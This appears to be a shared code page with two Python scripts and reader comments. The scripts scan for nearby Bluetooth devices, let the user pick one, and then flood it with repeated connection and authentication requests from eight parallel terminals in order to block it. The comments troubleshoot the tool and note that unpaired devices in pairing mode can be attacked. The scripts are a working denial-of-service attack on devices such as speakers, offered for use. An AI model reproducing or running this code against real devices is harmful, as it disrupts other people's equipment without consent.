Bluetooth spam, blocking choosen device

autospam.py

# I got all in /home/pi - change directories if put somewhere else
import time
import os

path = '/home/pi/mac.txt'
mac_file = open(path, 'r')
attackmac = mac_file.read()

path = '/home/pi/attacktime.txt'
atk_file = open(path, 'r')
attacktime = atk_file.read()
attacktimeint = int(attacktime)

timeout = time.time() + attacktimeint
while True:
    os.system("sudo hcitool cc --role=m "+ attackmac)
    os.system("sudo hcitool auth "+ attackmac )
    if time.time() > timeout:
        break

bt-block.py

# I got all in /home/pi - change directories if put somewhere else
import bluetooth
import sys
import serial
import os
import time
import subprocess

attacktime = 1*60		#one minute, you can change that
attacktimestr = str(attacktime)
path = '/home/pi/attacktime.txt'		#you need to create this file, I've been to lazy letting it create one and then check every time if its there
atk_file = open(path, 'w')
atk_file.write(attacktimestr)
atk_file.close()


#scanning for bluetooth devices
os.system("sudo hcitool scan --length=3")
print("")

#inquiring bluetooth devices, used to key out mac adress
cmd = ["hcitool", "inq"]
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE)
output, _ = proc.communicate()
newoutput = ""
newoutput = str(output)

print("1:",(newoutput[19:36]))
mac1=(newoutput[19:36])
print("2:",(newoutput[79:96]))
mac2=(newoutput[79:96])
print("3:",(newoutput[139:156]))
mac3=(newoutput[139:156])
print("4:",(newoutput[199:216]))
mac4=(newoutput[199:216])
print("5:",(newoutput[259:276]))
mac5=(newoutput[259:276])
print("6:",(newoutput[319:336]))
mac6=(newoutput[319:336])
print("7:",(newoutput[379:396]))
mac7=(newoutput[379:396])
print("8:",(newoutput[439:456]))
mac8=(newoutput[439:456])
print("9:",(newoutput[499:516]))
mac9=(newoutput[499:516])

print("")
print("c-cancel")
userinput = input('which MAC (1-9 or "c"):')
print(userinput)

#handle for user input
if userinput == "c":
    os.system("clear")
    os.system("quit()")
elif userinput == "1":
    attackmac = mac1
elif userinput == "2":
    attackmac = mac2
elif userinput == "3":
    attackmac = mac3
elif userinput == "4":
    attackmac = mac4
elif userinput == "5":
    attackmac = mac5
elif userinput == "6":
    attackmac = mac6
elif userinput == "7":
    attackmac = mac7
elif userinput == "8":
    attackmac = mac8
elif userinput == "9":
    attackmac = mac9

path = '/home/pi/mac.txt'					#you need to create this file, I've been to lazy letting it create one and then check every time if its there
mac_file = open(path, 'w')
mac_file.write(attackmac)
mac_file.close()

command=("python3 autospam.py")
os.system("lxterminal --command=" + "'" + command + "'" + "&")
os.system("lxterminal --command=" + "'" + command + "'" + "&")
os.system("lxterminal --command=" + "'" + command + "'" + "&")
os.system("lxterminal --command=" + "'" + command + "'" + "&")
os.system("lxterminal --command=" + "'" + command + "'" + "&")
os.system("lxterminal --command=" + "'" + command + "'" + "&")
os.system("lxterminal --command=" + "'" + command + "'" + "&")
os.system("lxterminal --command=" + "'" + command + "'" + "&")


a = input("just hit enter to close, its to find errors ")

To the picture: please find out what the console is called on the OS you are using. lxterminal is the command on a raspberry pi. Maybe test out in the console to find the command which opens a new console window.

Second Problem of not finding something else then your TV: is your device connected to your TV? if so, then thats a problem with the way your devices is searching for new bluetooth devices, thats impossible to fix for me

I have to test again more exactly but I use standard ssh terminal programs like termius or shelly. ok that means you can only block bt with it when the devices are in pairing mode?

Regards

Then please replace "lxterminal" at the end of the code with "shelly" or "termius". Then that should work. And yes, some devices only use a really "weak" and powersaving Bluetooth until they are paired with a device and you probably can attack them Marckcity <[email protected]> schrieb am Sa., 12. Dez. 2020, 08:40:

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Hello all,

I don't get anz error but I also don't get any mac adress. Does somebody know why?

I had the same problem with my own speaker. They are perfectly hidden once someone connected to them. But it's how this version of pairing works, and I dont know how to find them eitherway. Sorry sabinecelina <[email protected]> schrieb am Do., 28. Jan. 2021, 13:45:

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